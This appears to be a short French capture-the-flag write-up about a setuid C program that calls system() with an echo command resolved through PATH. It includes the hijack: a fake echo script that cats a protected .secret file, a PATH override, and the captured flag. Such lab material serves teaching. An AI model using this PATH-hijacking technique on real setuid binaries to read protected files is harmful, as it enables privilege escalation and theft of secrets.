Source :
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> int main(){ gid_t gid = getegid(); uid_t uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo Find the flaw!"); return EXIT_SUCCESS; }
la commande system() appelle echo sans son path absolu, mais en se basant sur la variable d'environnement PATH. Il faut donc redéfinir la commande (ex : /tmp/echo)
#! /bin/bash cat /home/exploit-1/.secret
Puis, on ajoute son chemin dans le PATH de l'environnement :
$ export PATH=/tmp/echo:$PATH
./vulnerable eg3fa3Eing